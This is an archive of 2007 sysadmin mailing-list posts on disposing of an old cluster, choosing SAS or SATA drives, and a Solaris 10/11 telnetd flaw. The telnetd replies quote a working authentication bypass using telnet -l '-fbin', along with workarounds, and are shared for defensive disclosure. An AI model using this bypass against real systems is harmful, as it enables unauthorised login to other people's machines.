	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 11:24:33 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18JOX6H005450
	for sage-members-0utGoign; Thu, 8 Feb 2007 11:24:33 -0800 (PST)
Received: from will.to (stat-153-124-108.myactv.net [24.153.124.108])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18JNsxj005424
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 11:24:05 -0800 (PST)
Received: from [149.77.33.118] (pants.nyc.deshaw.com [149.77.33.118])
	(authenticated bits=0)
	by will.to (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l18JNbLI008071
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 8 Feb 2007 14:23:38 -0500
Message-ID: <45CB78BA.5080201@will.to>
Date: Thu, 08 Feb 2007 14:23:38 -0500
From: Doug Hughes <doug@will.to>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: Rowan Littell <rowan@hovenweep.org>
CC: sage-members@usenix.org
Subject: Re: [SAGE] disposing of a dead cluster
References: <20070208164559.GA9256@hollenback.net>
	<45CB6512.3050706@hovenweep.org>
In-Reply-To: <45CB6512.3050706@hovenweep.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Greylist: Sender succeeded SMTP AUTH authentication, not delayed by
	milter-greylist-3.0rc3 (will.to [24.153.124.108]);
	Thu, 08 Feb 2007 14:23:38 -0500 (EST)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Rowan Littell wrote:
> Philip J. Hollenback wrote:
>   
>> My company in midtown Manhattan is preparing to install a new 32-node
>> compute cluster in one rack.  To make space for it we are removing one
>> rack of a dying 5 year old cluster.
>>     
>
> Manhattan, check.  Apparently businesses are required to recycle
> computer equipment in NYC unless it's donated or resold for reuse.
> Given the state of the hardware you describe, it's probably going to be
> easier on you and everyone else if you recycle it rather than searching
> for just the right geek who will scavenge it themselves.
>  http://www.nyc.gov/html/nycwasteless/html/recycling/electronicsrecycling.shtml
>
>
> You might also Google for computer disposal/recycling folks in the area.
>  I'm clear on the other side of the country, but I suspect there are
> lists of electronics recyclers or non-profits that take electronics
> donations in your area; there certainly are for the Bay Area.
>   

There are many companies that specialize in taking older gear, 
refurbishing, and selling again.
Sun King, CCNY, recurrent.. those are just off the top of my head. (no 
guarantees that any of them still do it or do it in the given area, but 
they did do it at one time)



From sage-members-owner@usenix.org Thu Feb  8 13:55:07 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18LsDPK009921
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 13:54:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18LsDJF009920
	for sage-members-0utGoign; Thu, 8 Feb 2007 13:54:13 -0800 (PST)
Received: from judo.dreamhost.com (postfix@judo.dreamhost.com [66.33.216.100])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18LrVT3009879
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 13:54:11 -0800 (PST)
Received: from smarty.dreamhost.com (smarty.dreamhost.com [66.33.216.24])
	by judo.dreamhost.com (Postfix) with ESMTP id F37D6174AD3
	for <sage-members@usenix.org>; Thu,  8 Feb 2007 13:34:14 -0800 (PST)
Received: from slaughter.dreamhost.com (basic-argon.webmail2.sd.dreamhost.com
	[66.33.201.182])
	by smarty.dreamhost.com (Postfix) with ESMTP id 0E346EE251;
	Thu,  8 Feb 2007 13:33:28 -0800 (PST)
Received: from webmail.crystle.com (localhost [127.0.0.1])
	by slaughter.dreamhost.com (Postfix) with ESMTP id F42237729A;
	Thu,  8 Feb 2007 13:33:27 -0800 (PST)
Received: from 152.3.110.70
	(SquirrelMail authenticated user dcorum@crystle.com)
	by webmail.crystle.com with HTTP;
	Thu, 8 Feb 2007 16:33:28 -0500 (EST)
Message-ID: <45272.152.3.110.70.1170970408.squirrel@webmail.crystle.com>
Date: Thu, 8 Feb 2007 16:33:28 -0500 (EST)
Subject: Re: [SAGE] Comparison SAS vs S-ATA II
From: "DeannC" <dcorum@crystle.com>
To: tecnicos@aomail.uab.es
Cc: sage-members@usenix.org
Reply-To: dcorum@crystle.com
User-Agent: SquirrelMail/1.4.9a
MIME-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
References: <45CAEDB6.1070007@aomail.uab.es>
In-Reply-To: <45CAEDB6.1070007@aomail.uab.es>
Sender: owner-sage-members@usenix.org
Precedence: bulk

Generally speaking, if you primarily need performance, go with SAS drives.
If capacity is your primary concern, go with SATA drives.

SAS are SCSI-based and therefore can perform better. SATA are ATA and can
have larger capacities than SAS drives.

So - it depends on what the primary purpose of your cluster is. If you
really need top-notch performance, SAS is your best bet.

Deann Corum


> Hi!!
>
> We are going to install a new rack cluster (1 management node with 6 SAS
HDs in RAID-5 and 16 process nodes with 1 HDs) and we are trying to
decide if we buy the process nodes with S-ATA II HDs or SAS HDs.
>
> If somebody here manages a cluster, we would thank any recommendation.
>
> Thank you.
>
>






From sage-members-owner@usenix.org Thu Feb  8 14:50:05 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18MntNQ012283
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 14:50:01 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18MntIR012281
	for sage-members-0utGoign; Thu, 8 Feb 2007 14:49:55 -0800 (PST)
Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.238])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18MnR4J012266
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 14:49:38 -0800 (PST)
Received: by nz-out-0506.google.com with SMTP id m22so549195nzf
	for <sage-members@usenix.org>; Thu, 08 Feb 2007 14:49:23 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=mwn/vvLG68vaRzNK7eItj/A3/ls4qv0BImj0itb+S9a/Gr/CrdyurgMEsgEbQgXNPn6ahyENm7xQSB+Fj9rUi0hmkZET7kEGaJPlY5YpELOzNYoantIWKsOtG1khpC32DDfu7/8mw4mDlXuGvBG29taSAQ3IRFesUvzzUYiCTuA=
Received: by 10.115.76.1 with SMTP id d1mr4633146wal.1170959382492;
	Thu, 08 Feb 2007 10:29:42 -0800 (PST)
Received: by 10.114.57.9 with HTTP; Thu, 8 Feb 2007 10:29:42 -0800 (PST)
Message-ID: <bb075cdf0702081029j6bd53945o3ad8ecaf73acc5f8@mail.gmail.com>
Date: Thu, 8 Feb 2007 13:29:42 -0500
From: "Rodrick Brown" <rodrick.brown@gmail.com>
To: philiph@pobox.com
Subject: Re: [SAGE] disposing of a dead cluster
Cc: sage-members@usenix.org
In-Reply-To: <20070208164559.GA9256@hollenback.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <20070208164559.GA9256@hollenback.net>
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 2/8/07, Philip J. Hollenback <philiph@pobox.com> wrote:
> My company in midtown Manhattan is preparing to install a new 32-node
> compute cluster in one rack.  To make space for it we are removing one
> rack of a dying 5 year old cluster.
>
> Thus I have a rack filled with 32 1U machines in various states of
> non-workingness.  On most of them the fans failed and fried various
> components.
>
> We are in a high-rise building so I can't just drag it to the curb and
> hope somebody takes it away.  Does anyone have any ideas for how to
> dispose of this equipment?  We are running a business so it would have
> to be moved all at once.  I would like to donate it to someone who
> could do something with it but as I said most of the hardware is
> pretty questionable.  You could probably scavenge a fair amount of
> ram, hard drives (40gb ide), athlon 1800 cpus, etc. out of it.
>
> But again, we are in big office building so an insured professional
> moving or disposal company would have to do the work.  Building
> management won't let us drag it down to someone's pickup truck in the
> loading dock.
>
> Thanks,
> P.
>
> --
> Philip J. Hollenback
> www.hollenback.net
>

Why not just speak with your building management team on how to get
this stuff out? They will have links and contacts for disposal
companies they have used in the past.

-- 
Rodrick R. Brown


From sage-members-owner@usenix.org Thu Feb  8 18:58:12 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l192vuuh019335
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 18:57:56 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l192vtH7019334
	for sage-members-0utGoign; Thu, 8 Feb 2007 18:57:55 -0800 (PST)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l192v94a019309
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 18:57:19 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id D5E3D41C078;
	Thu,  8 Feb 2007 21:56:34 -0500 (EST)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 01692-09; Thu, 8 Feb 2007 21:56:31 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id 4393941C04A;
	Thu,  8 Feb 2007 21:56:31 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l192uosf075802;
	Thu, 8 Feb 2007 21:56:57 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240503c1f18f4ca911@[10.0.1.12]>
In-Reply-To: <45272.152.3.110.70.1170970408.squirrel@webmail.crystle.com>
References: <45CAEDB6.1070007@aomail.uab.es>
	<45272.152.3.110.70.1170970408.squirrel@webmail.crystle.com>
Date: Thu, 8 Feb 2007 20:53:26 -0600
To: dcorum@crystle.com, tecnicos@aomail.uab.es
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Comparison SAS vs S-ATA II
Cc: sage-members@usenix.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.326 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.073, BAYES_00=-2.599]
X-Spam-Score: -4.326
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 4:33 PM -0500 2/8/07, DeannC wrote:

>  Generally speaking, if you primarily need performance, go with SAS drives.

That is, performance or reliability.

>  If capacity is your primary concern, go with SATA drives.

That is, if you don't really care about performance or reliability at 
all, and capacity is your only concern.

>  SAS are SCSI-based and therefore can perform better.

And are more reliable.

>                                                       SATA are ATA and can
>  have larger capacities than SAS drives.
>
>  So - it depends on what the primary purpose of your cluster is. If you
>  really need top-notch performance, SAS is your best bet.

Or reliability.


As a comparison, look at piston engines for aviation, and compare 
those to piston engines for automobiles.

In aviation, you need engines that can run at full power rating for 
hours on end, for pretty much their entire operational life (tens of 
thousands or hundreds of thousands of operational hours).  With very, 
very little maintenance -- after all, you don't want to suddenly have 
to perform an oil change while you're at 20,000 feet.  A sixty 
horsepower engine is enough to keep a surprisingly large plane in the 
air for as long as you've got fuel, and assuming other systems don't 
fail.

In automobiles, the engines may be rated at much higher numbers (six 
hundred horsepower or more), but they are only anticipated to sustain 
those rates for very short periods of time.  If you try to run them 
for anything remotely resembling their maximum power for anything 
remotely resembling an extended period of time, they will blow up on 
you.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Thu Feb  8 19:07:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1937T99019687
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 19:07:29 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1937Tl8019686
	for sage-members-0utGoign; Thu, 8 Feb 2007 19:07:29 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l19372Yj019674
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 19:07:13 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id g2so963606nfe
	for <sage-members@usenix.org>; Thu, 08 Feb 2007 19:07:01 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=rwL5/3Z/vQ9q829uA1ldGLViR2je5PHrLxBRf7yC0JXSCNSRnDhv+KLa56CVjfjmgtyug/2MH7K/tbPEogSc1BX3CTdDr6/OCUkY7uRa7nqZ/KQQDDGl1Y4PqvDmY6bLS8Lv9gbDArzPG9KUvFB+6Of3Lh7Gng+o/DvNzTY4jdo=
Received: by 10.82.163.13 with SMTP id l13mr4447836bue.1170990421437;
	Thu, 08 Feb 2007 19:07:01 -0800 (PST)
Received: by 10.82.184.18 with HTTP; Thu, 8 Feb 2007 19:07:01 -0800 (PST)
Message-ID: <45c7bf350702081907i2d3c1243v7e0dcef144aff652@mail.gmail.com>
Date: Thu, 8 Feb 2007 21:07:01 -0600
From: "Quentin Fennessy" <qfennessy@gmail.com>
To: sage-members@usenix.org
Subject: Re: [SAGE] Comparison SAS vs S-ATA II
In-Reply-To: <45CAEDB6.1070007@aomail.uab.es>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45CAEDB6.1070007@aomail.uab.es>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi-
This is a good question, but I don't think you've provided enough
information. Here are some factors to consider:

1 Are you trying to save money? Which is cheaper? Are the warranties different?

2 Can you get manufacturers MTBF specs for the disks? This is a small
set of systems, so the effective difference may end up being small
regardless of MTBF differences. Now if you had 16,000 nodes -- then
MTBF would multiply to to be more significant?

3 Are you looking for performance? How does your application perform
in process nodes with these disks?

4 Are you looking to minimize energy and cooling costs? Which disk
draws less power?

5 Are you looking for better fault detection? Which disk is better
supported by your OS?

In my experience with clusters using mostly NAS for applications and
data, the performance of the local disks on process nodes was
inconsequential. Your workload may be entirely different.

Quentin


On 2/8/07, Daniel Ruiz Molina <tecnicos@aomail.uab.es> wrote:
> Hi!!
>
> We are going to install a new rack cluster (1 management node with 6 SAS
> HDs in RAID-5 and 16 process nodes with 1 HDs) and we are trying to
> decide if we buy the process nodes with S-ATA II HDs or SAS HDs.
>
> If somebody here manages a cluster, we would thank any recommendation.
>
> Thank you.
>
>


-- 
Quentin Fennessy    :    qfennessy@gmail.com


From sage-members-owner@usenix.org Fri Feb  9 02:35:49 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l19AZeLL003166
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 9 Feb 2007 02:35:45 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l19AZeon003165
	for sage-members-0utGoign; Fri, 9 Feb 2007 02:35:40 -0800 (PST)
Received: from istanbul.uab.es (istanbul.uab.es [158.109.168.138])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l19AZDAk003151
	for <sage-members@usenix.org>; Fri, 9 Feb 2007 02:35:23 -0800 (PST)
Received: from istanbul.uab.es (localhost [127.0.0.1])
	by istanbul.uab.es (Sun Java System Messaging Server 6.1 HotFix 0.10
	(built
	Jan  6 2005)) with ESMTP id <0JD6008IIYQ01780@istanbul.uab.es> for
	sage-members@usenix.org; Fri, 09 Feb 2007 11:34:48 +0100 (CET)
Received: from aomail.uab.es ([158.109.65.1])
	by istanbul.uab.es (Sun Java System Messaging Server 6.1 HotFix 0.10
	(built
	Jan  6 2005)) with ESMTP id <0JD6008IUYQ0VM20@istanbul.uab.es> for
	sage-members@usenix.org; Fri, 09 Feb 2007 11:34:48 +0100 (CET)
Received: from [127.0.0.1] (aopcdrm.uab.es [158.109.65.84])
	by aomail.uab.es (Postfix) with ESMTP	id 5C47537E5D; Fri,
	09 Feb 2007 11:34:43 +0100 (CET)
Date: Fri, 09 Feb 2007 11:33:44 +0100
From: Daniel Ruiz Molina <tecnicos@aomail.uab.es>
Subject: Re: [SAGE] Comparison SAS vs S-ATA II
In-reply-to: <45c7bf350702081804i19d30a17o98c5b613dd321930@mail.gmail.com>
To: Quentin Fennessy <qfennessy@gmail.com>
Cc: sage-members@usenix.org
Reply-to: tecnicos@aomail.uab.es
Message-id: <45CC4E08.9000601@aomail.uab.es>
Organization: DACSO - UAB
MIME-version: 1.0
Content-type: text/plain; charset=ISO-8859-1; format=flowed
Content-transfer-encoding: 8BIT
References: <45CAEDB6.1070007@aomail.uab.es>
	<45c7bf350702081804i19d30a17o98c5b613dd321930@mail.gmail.com>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Quentin Fennessy escribió:
> Hi-
> This is a good question, but I don't think you've provided enough 
> information. Here are some factors to consider:
>
> 1 Are you trying to save money? Which is cheaper? Are the warranties 
> different?
>
S-ATA II 160 GB is 120 $ cheaper than a SAS 73 GB
> 2 Can you get manufacturers MTBF specs for the disks? This is a small 
> set of systems, so the effective difference may end up being small 
> regardless of MTBF differences. Now if you had 16,000 nodes -- then 
> MTBF would multiply to to be more significant?
>
> 3 Are you looking for performance? How does your application perform 
> in process nodes with these disks?
Process nodes will only write temporary files on local disks, because 
results will be written on a NFS drive
>
> 4 Are you looking to minimize energy and cooling costs? Which disk 
> draws less power?
>
> 5 Are you looking for better fault detection? Which disk is better 
> supported by your OS?
>
> In my experience with clusters using mostly NAS for applications and 
> data, the performance of the local disks on process nodes was 
> inconsequential. Your workload may be entirely different.
>
> Quentin
>




From sage-members-owner@usenix.org Fri Feb  9 04:12:32 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l19CCVQl006512
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 9 Feb 2007 04:12:31 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l19CCVla006511
	for sage-members-0utGoign; Fri, 9 Feb 2007 04:12:31 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.184])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l19CC3qZ006493
	for <sage-members@usenix.org>; Fri, 9 Feb 2007 04:12:14 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id g2so1066485nfe
	for <sage-members@usenix.org>; Fri, 09 Feb 2007 04:11:56 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=J2nKMU66N2PjrJ8nS33EO0qUatDTGc1E68/FEhfkZWne1lFmCU7YGtIIpAUX2wS6JTPgvY7My9dvJ6tulW+N/x4bolacd65Vpdz+J3TUKsCrzIM5+P5WRDR6cPLXDIcu1nAbavkhPFBy7LddE871fMz6UAC8XuUGBwL199ebeEk=
Received: by 10.82.178.11 with SMTP id a11mr3764420buf.1171023116198;
	Fri, 09 Feb 2007 04:11:56 -0800 (PST)
Received: by 10.82.184.18 with HTTP; Fri, 9 Feb 2007 04:11:56 -0800 (PST)
Message-ID: <45c7bf350702090411x75ceccf1x4588c782f60108e@mail.gmail.com>
Date: Fri, 9 Feb 2007 06:11:56 -0600
From: "Quentin Fennessy" <qfennessy@gmail.com>
To: tecnicos@aomail.uab.es
Subject: Re: [SAGE] Comparison SAS vs S-ATA II
Cc: sage-members@usenix.org
In-Reply-To: <45CC4E08.9000601@aomail.uab.es>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45CAEDB6.1070007@aomail.uab.es>
	<45c7bf350702081804i19d30a17o98c5b613dd321930@mail.gmail.com>
	<45CC4E08.9000601@aomail.uab.es>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 2/9/07, Daniel Ruiz Molina <tecnicos@aomail.uab.es> wrote:

> > 1 Are you trying to save money? Which is cheaper? Are the warranties
> > different?
> >
> S-ATA II 160 GB is 120 $ cheaper than a SAS 73 GB

Is 73GB enough space for your OS, apps and temp space? (your apps are on NAS?)
I don't know if 73GB is the smallest SAS drive, or if 73GB is the
minimum you need.

> > 3 Are you looking for performance? How does your application perform
> > in process nodes with these disks?
> Process nodes will only write temporary files on local disks, because
> results will be written on a NFS drive

>From what I've heard, you need the same sort of disks that I do --
large enough, cheap and reliable. It may come down to reliability. I
would compare the manufacturers specs.

If I were in your shoes (and I am) I would try to budget a little more
money for reliable components.
-- 
Quentin Fennessy    :    qfennessy@gmail.com


From sage-members-owner@usenix.org Sun Feb 11 20:43:36 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1C4hZ1q008728
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 11 Feb 2007 20:43:35 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1C4hZ3O008727
	for sage-members-0utGoign; Sun, 11 Feb 2007 20:43:35 -0800 (PST)
Received: from mail.reptiles.org (mail.reptiles.org [198.96.119.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1C4h8ci008708
	for <sage-members@sage.org>; Sun, 11 Feb 2007 20:43:18 -0800 (PST)
Received: from mail.reptiles.org([198.96.119.1] port=4786) (2118 bytes) 
	by mail.reptiles.org([198.96.119.1] port=25) via TCP with esmtp
	(sender: <cat@reptiles.org>) id <m1HGT1T-00BulKC@mail.reptiles.org>
	for <sage-members@sage.org>;
	(dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp)
	Sun, 11 Feb 2007 23:42:39 -0500 (EST)
	(Smail-3.2.0.118 2004-May-31 #3 built 2004-Oct-14)
Date: Sun, 11 Feb 2007 23:42:39 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Rodrick Brown <rodrick.brown@gmail.com>
cc: SAGE mailing list <sage-members@sage.org>, tech@lopsa.org
Subject: [SAGE] Re: [lopsa-tech] Remote Exploit Solaris telnetd
In-Reply-To: <bb075cdf0702112022q16f1bd1erd05484a6d958ff06@mail.gmail.com>
Message-ID: <20070211234100.E9658@skink.reptiles.org>
References: <bb075cdf0702112022q16f1bd1erd05484a6d958ff06@mail.gmail.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


Top posting, because it's something you'd want to know quicker:

This exploit is specific to Solaris10 and Solaris11, both x86 and sparc. 
Earlier versions are not affected.

You can work around this by either disabling telnet, or by turning on
the '-a user' option to in.telnetd.

cheers!

On Sun, 11 Feb 2007, Rodrick Brown wrote:
> I dont take credit for finding this bug it was posted on nanog-l a few hours
> ago but I thought it would be much more useful here on SAGE and LOPSA, at
> least everyone disables telnet right?
>
> bash-3.00# svcadm enable telnet
> bash-3.00# telnet -l "-fbin" localhost
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> Last login: Sun Feb 11 13:10:36 from 64.111.214.138
> Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
> $ id
> uid=2(bin) gid=2(bin)
> $
>
> bash-3.00# telnet -l "-froot" localhost
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> Not on system console
> Connection to localhost closed by foreign host.
>
> -- 
> Rodrick R. Brown
>

==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Mon Feb 12 10:23:18 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1CINHsx017884
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 12 Feb 2007 10:23:17 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1CINHS0017883
	for sage-members-0utGoign; Mon, 12 Feb 2007 10:23:17 -0800 (PST)
Received: from mail3.bitpusher.com (mail3.bitpusher.com [64.127.99.16])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1CINA5P017875
	for <sage-members@sage.org>; Mon, 12 Feb 2007 10:23:15 -0800 (PST)
Received: from [10.0.1.7] (adsl-71-134-248-82.dsl.pltn13.pacbell.net
	[71.134.248.82])
	by mail3.bitpusher.com (Postfix) with ESMTP id 1F41B1D1C7
	for <sage-members@sage.org>; Mon, 12 Feb 2007 09:56:40 -0800 (PST)
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <bb075cdf0702112022q16f1bd1erd05484a6d958ff06@mail.gmail.com>
References: <bb075cdf0702112022q16f1bd1erd05484a6d958ff06@mail.gmail.com>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <68004760-C727-48E6-8838-F8B085F8A268@halligan.org>
Content-Transfer-Encoding: 7bit
From: "Michael T. Halligan" <michael@halligan.org>
Subject: [SAGE] Re: [lopsa-tech] Remote Exploit Solaris telnetd
Date: Mon, 12 Feb 2007 10:22:17 -0800
To: SAGE mailing list <sage-members@sage.org>
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

1989 called and they want their insecure, obsolete protocol back.

On Feb 11, 2007, at 8:22 PM, Rodrick Brown wrote:

> I dont take credit for finding this bug it was posted on nanog-l a  
> few hours ago but I thought it would be much more useful here on  
> SAGE and LOPSA, at least everyone disables telnet right?
>
> bash-3.00# svcadm enable telnet
> bash-3.00# telnet -l "-fbin" localhost
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> Last login: Sun Feb 11 13:10:36 from 64.111.214.138
> Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
> $ id
> uid=2(bin) gid=2(bin)
> $
>
> bash-3.00# telnet -l "-froot" localhost
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> Not on system console
> Connection to localhost closed by foreign host.
>
> -- 
> Rodrick R. Brown
> _______________________________________________
> Tech mailing list
> Tech@lopsa.org
> http://lopsa.org/cgi-bin/mailman/listinfo/tech
> This list provided by the League of Professional System Administrators
>  http://lopsa.org/



From sage-members-owner@usenix.org Mon Feb 12 16:49:23 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1D0n5e5006172
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 12 Feb 2007 16:49:05 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1D0n55q006169
	for sage-members-0utGoign; Mon, 12 Feb 2007 16:49:05 -0800 (PST)
Received: from authusersmtp.mail.cornell.edu (granite1.mail.cornell.edu
	[128.253.83.141])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1D0mQIF006150
